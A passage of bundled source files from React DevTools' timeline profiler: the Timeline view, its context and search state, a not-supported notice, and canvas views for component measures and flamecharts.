    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ViewState} from './types';\n\nimport * as React from 'react';\nimport {\n  Suspense,\n  useContext,\n  useDeferredValue,\n  useLayoutEffect,\n  useRef,\n  useState,\n} from 'react';\nimport {SettingsContext} from 'react-devtools-shared/src/devtools/views/Settings/SettingsContext';\nimport {ProfilerContext} from 'react-devtools-shared/src/devtools/views/Profiler/ProfilerContext';\nimport NoProfilingData from 'react-devtools-shared/src/devtools/views/Profiler/NoProfilingData';\nimport RecordingInProgress from 'react-devtools-shared/src/devtools/views/Profiler/RecordingInProgress';\nimport {updateColorsToMatchTheme} from './content-views/constants';\nimport {TimelineContext} from './TimelineContext';\nimport CanvasPage from './CanvasPage';\nimport {importFile} from './timelineCache';\nimport TimelineSearchInput from './TimelineSearchInput';\nimport TimelineNotSupported from './TimelineNotSupported';\nimport {TimelineSearchContextController} from './TimelineSearchContext';\n\nimport styles from './Timeline.css';\n\nexport function Timeline(_: {}): React.Node {\n  const {\n    file,\n    inMemoryTimelineData,\n    isPerformanceTracksSupported,\n    isTimelineSupported,\n    setFile,\n    viewState,\n  } = useContext(TimelineContext);\n  const {didRecordCommits, isProfiling} = useContext(ProfilerContext);\n\n  const ref = useRef(null);\n\n  // HACK: Canvas rendering uses an imperative API,\n  // but DevTools colors are stored in CSS variables (see root.css and SettingsContext).\n  // When the theme changes, we need to trigger update the imperative colors and re-draw the Canvas.\n  const {theme} = useContext(SettingsContext);\n  // HACK: SettingsContext also uses a useLayoutEffect to update styles;\n  // make sure the theme context in SettingsContext updates before this code.\n  const deferredTheme = useDeferredValue(theme);\n  // HACK: Schedule a re-render of the Canvas once colors have been updated.\n  // The easiest way to guarangee this happens is to recreate the inner Canvas component.\n  const [key, setKey] = useState<string>(theme);\n  useLayoutEffect(() => {\n    const pollForTheme = () => {\n      if (updateColorsToMatchTheme(((ref.current: any): HTMLDivElement))) {\n        clearInterval(intervalID);\n        setKey(deferredTheme);\n      }\n    };\n\n    const intervalID = setInterval(pollForTheme, 50);\n\n    return () => {\n      clearInterval(intervalID);\n    };\n  }, [deferredTheme]);\n\n  let content = null;\n  if (isProfiling) {\n    content = <RecordingInProgress />;\n  } else if (inMemoryTimelineData && inMemoryTimelineData.length > 0) {\n    // TODO (timeline) Support multiple renderers.\n    const timelineData = inMemoryTimelineData[0];\n\n    content = (\n      <TimelineSearchContextController\n        profilerData={timelineData}\n        viewState={viewState}>\n        <TimelineSearchInput />\n        <CanvasPage profilerData={timelineData} viewState={viewState} />\n      </TimelineSearchContextController>\n    );\n  } else if (file) {\n    content = (\n      <Suspense fallback={<ProcessingData />}>\n        <FileLoader\n          file={file}\n          key={key}\n          onFileSelect={setFile}\n          viewState={viewState}\n        />\n      </Suspense>\n    );\n  } else if (didRecordCommits) {\n    content = <NoTimelineData />;\n  } else if (isTimelineSupported) {\n    content = <NoProfilingData />;\n  } else {\n    content = (\n      <TimelineNotSupported\n        isPerformanceTracksSupported={isPerformanceTracksSupported}\n      />\n    );\n  }\n\n  return (\n    <div className={styles.Content} ref={ref}>\n      {content}\n    </div>\n  );\n}\n\nconst ProcessingData = () => (\n  <div className={styles.EmptyStateContainer}>\n    <div className={styles.Header}>Processing data...</div>\n    <div className={styles.Row}>This should only take a minute.</div>\n  </div>\n);\n\n// $FlowFixMe[missing-local-annot]\nconst CouldNotLoadProfile = ({error, onFileSelect}) => (\n  <div className={styles.EmptyStateContainer}>\n    <div className={styles.Header}>Could not load profile</div>\n    {error.message && (\n      <div className={styles.Row}>\n        <div className={styles.ErrorMessage}>{error.message}</div>\n      </div>\n    )}\n    <div className={styles.Row}>\n      Try importing another Chrome performance profile.\n    </div>\n  </div>\n);\n\nconst NoTimelineData = () => (\n  <div className={styles.EmptyStateContainer}>\n    <div className={styles.Row}>\n      This current profile does not contain timeline data.\n    </div>\n  </div>\n);\n\nconst FileLoader = ({\n  file,\n  onFileSelect,\n  viewState,\n}: {\n  file: File | null,\n  onFileSelect: (file: File) => void,\n  viewState: ViewState,\n}) => {\n  if (file === null) {\n    return null;\n  }\n\n  const dataOrError = importFile(file);\n  if (dataOrError instanceof Error) {\n    return (\n      <CouldNotLoadProfile error={dataOrError} onFileSelect={onFileSelect} />\n    );\n  }\n\n  return (\n    <TimelineSearchContextController\n      profilerData={dataOrError}\n      viewState={viewState}>\n      <TimelineSearchInput />\n      <CanvasPage profilerData={dataOrError} viewState={viewState} />\n    </TimelineSearchContextController>\n  );\n};\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/TimelineContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext, RefObject} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {\n  createContext,\n  useContext,\n  useMemo,\n  useRef,\n  useState,\n  useSyncExternalStore,\n} from 'react';\nimport {StoreContext} from 'react-devtools-shared/src/devtools/views/context';\n\nimport type {\n  HorizontalScrollStateChangeCallback,\n  TimelineData,\n  SearchRegExpStateChangeCallback,\n  ViewState,\n  ReactEventInfo,\n} from './types';\n\nexport type Context = {\n  file: File | null,\n  inMemoryTimelineData: Array<TimelineData> | null,\n  isPerformanceTracksSupported: boolean,\n  isTimelineSupported: boolean,\n  searchInputContainerRef: RefObject,\n  setFile: (file: File | null) => void,\n  viewState: ViewState,\n  selectEvent: ReactEventInfo => void,\n  selectedEvent: ReactEventInfo,\n};\n\nconst TimelineContext: ReactContext<Context> = createContext<Context>(\n  ((null: any): Context),\n);\nTimelineContext.displayName = 'TimelineContext';\n\ntype Props = {\n  children: React$Node,\n};\n\nfunction TimelineContextController({children}: Props): React.Node {\n  const searchInputContainerRef = useRef(null);\n  const [file, setFile] = useState<string | null>(null);\n\n  const store = useContext(StoreContext);\n\n  const isTimelineSupported = useSyncExternalStore<boolean>(\n    function subscribe(callback) {\n      store.addListener('rootSupportsTimelineProfiling', callback);\n      return function unsubscribe() {\n        store.removeListener('rootSupportsTimelineProfiling', callback);\n      };\n    },\n    function getState() {\n      return store.rootSupportsTimelineProfiling;\n    },\n  );\n\n  const isPerformanceTracksSupported = useSyncExternalStore<boolean>(\n    function subscribe(callback) {\n      store.addListener('rootSupportsPerformanceTracks', callback);\n      return function unsubscribe() {\n        store.removeListener('rootSupportsPerformanceTracks', callback);\n      };\n    },\n    function getState() {\n      return store.rootSupportsPerformanceTracks;\n    },\n  );\n\n  const inMemoryTimelineData = useSyncExternalStore<Array<TimelineData> | null>(\n    function subscribe(callback) {\n      store.profilerStore.addListener('isProcessingData', callback);\n      store.profilerStore.addListener('profilingData', callback);\n      return function unsubscribe() {\n        store.profilerStore.removeListener('isProcessingData', callback);\n        store.profilerStore.removeListener('profilingData', callback);\n      };\n    },\n    function getState() {\n      return store.profilerStore.profilingData?.timelineData || null;\n    },\n  );\n\n  // Recreate view state any time new profiling data is imported.\n  const viewState = useMemo<ViewState>(() => {\n    const horizontalScrollStateChangeCallbacks: Set<HorizontalScrollStateChangeCallback> =\n      new Set();\n    const searchRegExpStateChangeCallbacks: Set<SearchRegExpStateChangeCallback> =\n      new Set();\n\n    const horizontalScrollState = {\n      offset: 0,\n      length: 0,\n    };\n\n    const state: ViewState = {\n      horizontalScrollState,\n      onHorizontalScrollStateChange: callback => {\n        horizontalScrollStateChangeCallbacks.add(callback);\n      },\n      onSearchRegExpStateChange: callback => {\n        searchRegExpStateChangeCallbacks.add(callback);\n      },\n      searchRegExp: null,\n      updateHorizontalScrollState: scrollState => {\n        if (\n          horizontalScrollState.offset === scrollState.offset &&\n          horizontalScrollState.length === scrollState.length\n        ) {\n          return;\n        }\n\n        horizontalScrollState.offset = scrollState.offset;\n        horizontalScrollState.length = scrollState.length;\n\n        horizontalScrollStateChangeCallbacks.forEach(callback => {\n          callback(scrollState);\n        });\n      },\n      updateSearchRegExpState: (searchRegExp: RegExp | null) => {\n        state.searchRegExp = searchRegExp;\n\n        searchRegExpStateChangeCallbacks.forEach(callback => {\n          callback(searchRegExp);\n        });\n      },\n      viewToMutableViewStateMap: new Map(),\n    };\n\n    return state;\n  }, [file]);\n\n  const [selectedEvent, selectEvent] = useState<ReactEventInfo | null>(null);\n\n  const value = useMemo(\n    () => ({\n      file,\n      inMemoryTimelineData,\n      isPerformanceTracksSupported,\n      isTimelineSupported,\n      searchInputContainerRef,\n      setFile,\n      viewState,\n      selectEvent,\n      selectedEvent,\n    }),\n    [\n      file,\n      inMemoryTimelineData,\n      isPerformanceTracksSupported,\n      isTimelineSupported,\n      setFile,\n      viewState,\n      selectEvent,\n      selectedEvent,\n    ],\n  );\n\n  return (\n    <TimelineContext.Provider value={value}>\n      {children}\n    </TimelineContext.Provider>\n  );\n}\n\nexport {TimelineContext, TimelineContextController};\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/TimelineNotSupported.css",
    "content": ".Column {\n  display: flex;\n  flex-direction: column;\n  align-items: center;\n  justify-content: center;\n  padding: 0 1rem;\n}\n\n.Header {\n  font-size: var(--font-size-sans-large);\n  margin-bottom: 0.5rem;\n}\n\n.Paragraph {\n  text-align: center;\n  margin: 0;\n}\n\n.Link {\n  color: var(--color-link);\n}\n\n.LearnMoreRow {\n  margin-top: 1rem;\n  color: var(--color-dim);\n  font-size: var(--font-size-sans-small);\n}\n\n.Code {\n  color: var(--color-bridge-version-number);\n}\n\n.MetaGKRow {\n  background: var(--color-background-hover);\n  padding: 0.25rem 0.5rem;\n  border-radius: 0.25rem;\n  margin-top: 1rem;\n}"
  },
  {
    "path": "packages/react-devtools-timeline/src/TimelineNotSupported.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {isInternalFacebookBuild} from 'react-devtools-feature-flags';\n\nimport styles from './TimelineNotSupported.css';\n\ntype Props = {\n  isPerformanceTracksSupported: boolean,\n};\n\nfunction PerformanceTracksSupported() {\n  return (\n    <>\n      <p className={styles.Paragraph}>\n        <span>\n          Please use{' '}\n          <a\n            className={styles.Link}\n            href=\"https://react.dev/reference/dev-tools/react-performance-tracks\"\n            rel=\"noopener noreferrer\"\n            target=\"_blank\">\n            React Performance tracks\n          </a>{' '}\n          instead of the Timeline profiler.\n        </span>\n      </p>\n    </>\n  );\n}\n\nfunction UnknownUnsupportedReason() {\n  return (\n    <>\n      <p className={styles.Paragraph}>\n        Timeline profiler requires a development or profiling build of{' '}\n        <code className={styles.Code}>react-dom@{'>='}18</code>.\n      </p>\n      <p className={styles.Paragraph}>\n        In React 19.2 and above{' '}\n        <a\n          className={styles.Link}\n          href=\"https://react.dev/reference/dev-tools/react-performance-tracks\"\n          rel=\"noopener noreferrer\"\n          target=\"_blank\">\n          React Performance tracks\n        </a>{' '}\n        can be used instead.\n      </p>\n      <div className={styles.LearnMoreRow}>\n        Click{' '}\n        <a\n          className={styles.Link}\n          href=\"https://fb.me/react-devtools-profiling\"\n          rel=\"noopener noreferrer\"\n          target=\"_blank\">\n          here\n        </a>{' '}\n        to learn more about profiling.\n      </div>\n    </>\n  );\n}\n\nexport default function TimelineNotSupported({\n  isPerformanceTracksSupported,\n}: Props): React.Node {\n  return (\n    <div className={styles.Column}>\n      <div className={styles.Header}>Timeline profiling not supported.</div>\n\n      {isPerformanceTracksSupported ? (\n        <PerformanceTracksSupported />\n      ) : (\n        <UnknownUnsupportedReason />\n      )}\n\n      {isInternalFacebookBuild && (\n        <div className={styles.MetaGKRow}>\n          <strong>Meta only</strong>: Enable the{' '}\n          <a\n            className={styles.Link}\n            href=\"https://fburl.com/react-devtools-scheduling-profiler-gk\"\n            rel=\"noopener noreferrer\"\n            target=\"_blank\">\n            react_enable_scheduling_profiler GK\n          </a>\n          .\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/TimelineSearchContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {createContext, useMemo, useReducer} from 'react';\n\nimport type {ReactComponentMeasure, TimelineData, ViewState} from './types';\n\ntype State = {\n  profilerData: TimelineData,\n  searchIndex: number,\n  searchRegExp: RegExp | null,\n  searchResults: Array<ReactComponentMeasure>,\n  searchText: string,\n};\n\ntype ACTION_GO_TO_NEXT_SEARCH_RESULT = {\n  type: 'GO_TO_NEXT_SEARCH_RESULT',\n};\ntype ACTION_GO_TO_PREVIOUS_SEARCH_RESULT = {\n  type: 'GO_TO_PREVIOUS_SEARCH_RESULT',\n};\ntype ACTION_SET_SEARCH_TEXT = {\n  type: 'SET_SEARCH_TEXT',\n  payload: string,\n};\n\ntype Action =\n  | ACTION_GO_TO_NEXT_SEARCH_RESULT\n  | ACTION_GO_TO_PREVIOUS_SEARCH_RESULT\n  | ACTION_SET_SEARCH_TEXT;\n\ntype Dispatch = (action: Action) => void;\n\nconst EMPTY_ARRAY: Array<ReactComponentMeasure> = [];\n\nfunction reducer(state: State, action: Action): State {\n  let {searchIndex, searchRegExp, searchResults, searchText} = state;\n\n  switch (action.type) {\n    case 'GO_TO_NEXT_SEARCH_RESULT':\n      if (searchResults.length > 0) {\n        if (searchIndex === -1 || searchIndex + 1 === searchResults.length) {\n          searchIndex = 0;\n        } else {\n          searchIndex++;\n        }\n      }\n      break;\n    case 'GO_TO_PREVIOUS_SEARCH_RESULT':\n      if (searchResults.length > 0) {\n        if (searchIndex === -1 || searchIndex === 0) {\n          searchIndex = searchResults.length - 1;\n        } else {\n          searchIndex--;\n        }\n      }\n      break;\n    case 'SET_SEARCH_TEXT':\n      searchText = action.payload;\n      searchRegExp = null;\n      searchResults = [];\n\n      if (searchText !== '') {\n        const safeSearchText = searchText.replace(\n          /[.*+?^${}()|[\\]\\\\]/g,\n          '\\\\$&',\n        );\n        searchRegExp = new RegExp(`^${safeSearchText}`, 'i');\n\n        // If something is zoomed in on already, and the new search still contains it,\n        // don't change the selection (even if overall search results set changes).\n        let prevSelectedMeasure = null;\n        if (searchIndex >= 0 && searchResults.length > searchIndex) {\n          prevSelectedMeasure = searchResults[searchIndex];\n        }\n\n        const componentMeasures = state.profilerData.componentMeasures;\n\n        let prevSelectedMeasureIndex = -1;\n\n        for (let i = 0; i < componentMeasures.length; i++) {\n          const componentMeasure = componentMeasures[i];\n          if (componentMeasure.componentName.match(searchRegExp)) {\n            searchResults.push(componentMeasure);\n\n            if (componentMeasure === prevSelectedMeasure) {\n              prevSelectedMeasureIndex = searchResults.length - 1;\n            }\n          }\n        }\n\n        searchIndex =\n          prevSelectedMeasureIndex >= 0 ? prevSelectedMeasureIndex : 0;\n      }\n      break;\n  }\n\n  return {\n    profilerData: state.profilerData,\n    searchIndex,\n    searchRegExp,\n    searchResults,\n    searchText,\n  };\n}\n\nexport type Context = {\n  profilerData: TimelineData,\n\n  // Search state\n  dispatch: Dispatch,\n  searchIndex: number,\n  searchRegExp: null,\n  searchResults: Array<ReactComponentMeasure>,\n  searchText: string,\n};\n\nconst TimelineSearchContext: ReactContext<Context> = createContext<Context>(\n  ((null: any): Context),\n);\nTimelineSearchContext.displayName = 'TimelineSearchContext';\n\ntype Props = {\n  children: React$Node,\n  profilerData: TimelineData,\n  viewState: ViewState,\n};\n\nfunction TimelineSearchContextController({\n  children,\n  profilerData,\n  viewState,\n}: Props): React.Node {\n  const [state, dispatch] = useReducer<State, State, Action>(reducer, {\n    profilerData,\n    searchIndex: -1,\n    searchRegExp: null,\n    searchResults: EMPTY_ARRAY,\n    searchText: '',\n  });\n\n  const value = useMemo(\n    () => ({\n      ...state,\n      dispatch,\n    }),\n    [state],\n  );\n\n  return (\n    <TimelineSearchContext.Provider value={value}>\n      {children}\n    </TimelineSearchContext.Provider>\n  );\n}\n\nexport {TimelineSearchContext, TimelineSearchContextController};\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/TimelineSearchInput.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext} from 'react';\nimport {createPortal} from 'react-dom';\nimport SearchInput from 'react-devtools-shared/src/devtools/views/SearchInput';\nimport {TimelineContext} from './TimelineContext';\nimport {TimelineSearchContext} from './TimelineSearchContext';\n\ntype Props = {};\n\nexport default function TimelineSearchInput(props: Props): React.Node {\n  const {searchInputContainerRef} = useContext(TimelineContext);\n  const {dispatch, searchIndex, searchResults, searchText} = useContext(\n    TimelineSearchContext,\n  );\n\n  if (searchInputContainerRef.current === null) {\n    return null;\n  }\n\n  const search = (text: string) =>\n    dispatch({type: 'SET_SEARCH_TEXT', payload: text});\n  const goToNextResult = () => dispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'});\n  const goToPreviousResult = () =>\n    dispatch({type: 'GO_TO_PREVIOUS_SEARCH_RESULT'});\n\n  return createPortal(\n    <SearchInput\n      goToNextResult={goToNextResult}\n      goToPreviousResult={goToPreviousResult}\n      placeholder=\"Search components by name\"\n      search={search}\n      searchIndex={searchIndex}\n      searchResultsCount={searchResults.length}\n      searchText={searchText}\n    />,\n    searchInputContainerRef.current,\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/constants.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  COMFORTABLE_LINE_HEIGHT,\n  COMPACT_LINE_HEIGHT,\n} from 'react-devtools-shared/src/devtools/constants.js';\n\nexport const REACT_TOTAL_NUM_LANES = 31;\n\n// Increment this number any time a backwards breaking change is made to the profiler metadata.\nexport const SCHEDULING_PROFILER_VERSION = 1;\n\nexport const SNAPSHOT_MAX_HEIGHT = 60;\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/ComponentMeasuresView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactComponentMeasure, TimelineData, ViewState} from '../types';\nimport type {\n  Interaction,\n  IntrinsicSize,\n  MouseMoveInteraction,\n  Rect,\n  ViewRefs,\n} from '../view-base';\n\nimport {\n  durationToWidth,\n  positioningScaleFactor,\n  positionToTimestamp,\n  timestampToPosition,\n} from './utils/positioning';\nimport {drawText} from './utils/text';\nimport {formatDuration} from '../utils/formatting';\nimport {\n  View,\n  Surface,\n  rectContainsPoint,\n  rectIntersectsRect,\n  intersectionOfRects,\n} from '../view-base';\nimport {BORDER_SIZE, COLORS, NATIVE_EVENT_HEIGHT} from './constants';\n\nconst ROW_WITH_BORDER_HEIGHT = NATIVE_EVENT_HEIGHT + BORDER_SIZE;\n\nexport class ComponentMeasuresView extends View {\n  _cachedSearchMatches: Map<string, boolean>;\n  _cachedSearchRegExp: RegExp | null = null;\n  _hoveredComponentMeasure: ReactComponentMeasure | null = null;\n  _intrinsicSize: IntrinsicSize;\n  _profilerData: TimelineData;\n  _viewState: ViewState;\n\n  onHover: ((event: ReactComponentMeasure | null) => void) | null = null;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    profilerData: TimelineData,\n    viewState: ViewState,\n  ) {\n    super(surface, frame);\n\n    this._profilerData = profilerData;\n    this._viewState = viewState;\n\n    this._cachedSearchMatches = new Map();\n    this._cachedSearchRegExp = null;\n\n    viewState.onSearchRegExpStateChange(() => {\n      this.setNeedsDisplay();\n    });\n\n    this._intrinsicSize = {\n      width: profilerData.duration,\n      height: ROW_WITH_BORDER_HEIGHT,\n    };\n  }\n\n  desiredSize(): IntrinsicSize {\n    return this._intrinsicSize;\n  }\n\n  setHoveredEvent(hoveredEvent: ReactComponentMeasure | null) {\n    if (this._hoveredComponentMeasure === hoveredEvent) {\n      return;\n    }\n    this._hoveredComponentMeasure = hoveredEvent;\n    this.setNeedsDisplay();\n  }\n\n  /**\n   * Draw a single `ReactComponentMeasure` as a box/span with text inside of it.\n   */\n  _drawSingleReactComponentMeasure(\n    context: CanvasRenderingContext2D,\n    rect: Rect,\n    componentMeasure: ReactComponentMeasure,\n    scaleFactor: number,\n    showHoverHighlight: boolean,\n  ): boolean {\n    const {frame} = this;\n    const {componentName, duration, timestamp, type, warning} =\n      componentMeasure;\n\n    const xStart = timestampToPosition(timestamp, scaleFactor, frame);\n    const xStop = timestampToPosition(timestamp + duration, scaleFactor, frame);\n    const componentMeasureRect: Rect = {\n      origin: {\n        x: xStart,\n        y: frame.origin.y,\n      },\n      size: {width: xStop - xStart, height: NATIVE_EVENT_HEIGHT},\n    };\n    if (!rectIntersectsRect(componentMeasureRect, rect)) {\n      return false; // Not in view\n    }\n\n    const width = durationToWidth(duration, scaleFactor);\n    if (width < 1) {\n      return false; // Too small to render at this zoom level\n    }\n\n    let textFillStyle = ((null: any): string);\n    let typeLabel = ((null: any): string);\n\n    const drawableRect = intersectionOfRects(componentMeasureRect, rect);\n    context.beginPath();\n    if (warning !== null) {\n      context.fillStyle = showHoverHighlight\n        ? COLORS.WARNING_BACKGROUND_HOVER\n        : COLORS.WARNING_BACKGROUND;\n    } else {\n      switch (type) {\n        case 'render':\n          context.fillStyle = showHoverHighlight\n            ? COLORS.REACT_RENDER_HOVER\n            : COLORS.REACT_RENDER;\n          textFillStyle = COLORS.REACT_RENDER_TEXT;\n          typeLabel = 'rendered';\n          break;\n        case 'layout-effect-mount':\n          context.fillStyle = showHoverHighlight\n            ? COLORS.REACT_LAYOUT_EFFECTS_HOVER\n            : COLORS.REACT_LAYOUT_EFFECTS;\n          textFillStyle = COLORS.REACT_LAYOUT_EFFECTS_TEXT;\n          typeLabel = 'mounted layout effect';\n          break;\n        case 'layout-effect-unmount':\n          context.fillStyle = showHoverHighlight\n            ? COLORS.REACT_LAYOUT_EFFECTS_HOVER\n            : COLORS.REACT_LAYOUT_EFFECTS;\n          textFillStyle = COLORS.REACT_LAYOUT_EFFECTS_TEXT;\n          typeLabel = 'unmounted layout effect';\n          break;\n        case 'passive-effect-mount':\n          context.fillStyle = showHoverHighlight\n            ? COLORS.REACT_PASSIVE_EFFECTS_HOVER\n            : COLORS.REACT_PASSIVE_EFFECTS;\n          textFillStyle = COLORS.REACT_PASSIVE_EFFECTS_TEXT;\n          typeLabel = 'mounted passive effect';\n          break;\n        case 'passive-effect-unmount':\n          context.fillStyle = showHoverHighlight\n            ? COLORS.REACT_PASSIVE_EFFECTS_HOVER\n            : COLORS.REACT_PASSIVE_EFFECTS;\n          textFillStyle = COLORS.REACT_PASSIVE_EFFECTS_TEXT;\n          typeLabel = 'unmounted passive effect';\n          break;\n      }\n    }\n\n    let isMatch = false;\n    const cachedSearchRegExp = this._cachedSearchRegExp;\n    if (cachedSearchRegExp !== null) {\n      const cachedSearchMatches = this._cachedSearchMatches;\n      const cachedValue = cachedSearchMatches.get(componentName);\n      if (cachedValue != null) {\n        isMatch = cachedValue;\n      } else {\n        isMatch = componentName.match(cachedSearchRegExp) !== null;\n        cachedSearchMatches.set(componentName, isMatch);\n      }\n    }\n\n    if (isMatch) {\n      context.fillStyle = COLORS.SEARCH_RESULT_FILL;\n    }\n\n    context.fillRect(\n      drawableRect.origin.x,\n      drawableRect.origin.y,\n      drawableRect.size.width,\n      drawableRect.size.height,\n    );\n\n    const label = `${componentName} ${typeLabel} - ${formatDuration(duration)}`;\n\n    drawText(label, context, componentMeasureRect, drawableRect, {\n      fillStyle: textFillStyle,\n    });\n\n    return true;\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const {\n      frame,\n      _profilerData: {componentMeasures},\n      _hoveredComponentMeasure,\n      visibleArea,\n    } = this;\n\n    const searchRegExp = this._viewState.searchRegExp;\n    if (this._cachedSearchRegExp !== searchRegExp) {\n      this._cachedSearchMatches = new Map();\n      this._cachedSearchRegExp = searchRegExp;\n    }\n\n    context.fillStyle = COLORS.BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    // Draw events\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n\n    let didDrawMeasure = false;\n    componentMeasures.forEach(componentMeasure => {\n      didDrawMeasure =\n        this._drawSingleReactComponentMeasure(\n          context,\n          visibleArea,\n          componentMeasure,\n          scaleFactor,\n          componentMeasure === _hoveredComponentMeasure,\n        ) || didDrawMeasure;\n    });\n\n    if (!didDrawMeasure) {\n      drawText(\n        '(zoom or pan to see React components)',\n        context,\n        visibleArea,\n        visibleArea,\n        {fillStyle: COLORS.TEXT_DIM_COLOR, textAlign: 'center'},\n      );\n    }\n\n    context.fillStyle = COLORS.PRIORITY_BORDER;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y + ROW_WITH_BORDER_HEIGHT - BORDER_SIZE,\n      visibleArea.size.width,\n      BORDER_SIZE,\n    );\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {frame, _intrinsicSize, onHover, visibleArea} = this;\n    if (!onHover) {\n      return;\n    }\n\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, visibleArea)) {\n      onHover(null);\n      return;\n    }\n\n    const scaleFactor = positioningScaleFactor(_intrinsicSize.width, frame);\n    const hoverTimestamp = positionToTimestamp(location.x, scaleFactor, frame);\n\n    const componentMeasures = this._profilerData.componentMeasures;\n    for (let index = componentMeasures.length - 1; index >= 0; index--) {\n      const componentMeasure = componentMeasures[index];\n      const {duration, timestamp} = componentMeasure;\n\n      if (\n        hoverTimestamp >= timestamp &&\n        hoverTimestamp <= timestamp + duration\n      ) {\n        this.currentCursor = 'context-menu';\n        viewRefs.hoveredView = this;\n        onHover(componentMeasure);\n        return;\n      }\n    }\n\n    onHover(null);\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/FlamechartView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Flamechart,\n  FlamechartStackFrame,\n  FlamechartStackLayer,\n  InternalModuleSourceToRanges,\n} from '../types';\nimport type {\n  Interaction,\n  MouseMoveInteraction,\n  Rect,\n  Size,\n  ViewRefs,\n} from '../view-base';\n\nimport {\n  BackgroundColorView,\n  Surface,\n  View,\n  layeredLayout,\n  rectContainsPoint,\n  intersectionOfRects,\n  rectIntersectsRect,\n  verticallyStackedLayout,\n} from '../view-base';\nimport {isInternalModule} from './utils/moduleFilters';\nimport {\n  durationToWidth,\n  positioningScaleFactor,\n  timestampToPosition,\n} from './utils/positioning';\nimport {drawText} from './utils/text';\nimport {\n  COLORS,\n  FLAMECHART_FRAME_HEIGHT,\n  COLOR_HOVER_DIM_DELTA,\n  BORDER_SIZE,\n} from './constants';\nimport {ColorGenerator, dimmedColor, hslaColorToString} from './utils/colors';\n\n// Source: https://source.chromium.org/chromium/chromium/src/+/master:out/Debug/gen/devtools/timeline/TimelineUIUtils.js;l=2109;drc=fb32e928d79707a693351b806b8710b2f6b7d399\nconst colorGenerator = new ColorGenerator(\n  {min: 30, max: 330},\n  {min: 50, max: 80, count: 3},\n  85,\n);\ncolorGenerator.setColorForID('', {h: 43.6, s: 45.8, l: 90.6, a: 100});\n\nfunction defaultHslaColorForStackFrame({scriptUrl}: FlamechartStackFrame) {\n  return colorGenerator.colorForID(scriptUrl ?? '');\n}\n\nfunction defaultColorForStackFrame(stackFrame: FlamechartStackFrame): string {\n  const color = defaultHslaColorForStackFrame(stackFrame);\n  return hslaColorToString(color);\n}\n\nfunction hoverColorForStackFrame(stackFrame: FlamechartStackFrame): string {\n  const color = dimmedColor(\n    defaultHslaColorForStackFrame(stackFrame),\n    COLOR_HOVER_DIM_DELTA,\n  );\n  return hslaColorToString(color);\n}\n\nclass FlamechartStackLayerView extends View {\n  /** Layer to display */\n  _stackLayer: FlamechartStackLayer;\n\n  /** A set of `stackLayer`'s frames, for efficient lookup. */\n  _stackFrameSet: Set<FlamechartStackFrame>;\n\n  _internalModuleSourceToRanges: InternalModuleSourceToRanges;\n\n  _intrinsicSize: Size;\n\n  _hoveredStackFrame: FlamechartStackFrame | null = null;\n  _onHover: ((node: FlamechartStackFrame | null) => void) | null = null;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    stackLayer: FlamechartStackLayer,\n    internalModuleSourceToRanges: InternalModuleSourceToRanges,\n    duration: number,\n  ) {\n    super(surface, frame);\n    this._stackLayer = stackLayer;\n    this._stackFrameSet = new Set(stackLayer);\n    this._internalModuleSourceToRanges = internalModuleSourceToRanges;\n    this._intrinsicSize = {\n      width: duration,\n      height: FLAMECHART_FRAME_HEIGHT,\n    };\n  }\n\n  desiredSize(): Size {\n    return this._intrinsicSize;\n  }\n\n  setHoveredFlamechartStackFrame(\n    hoveredStackFrame: FlamechartStackFrame | null,\n  ) {\n    if (this._hoveredStackFrame === hoveredStackFrame) {\n      return; // We're already 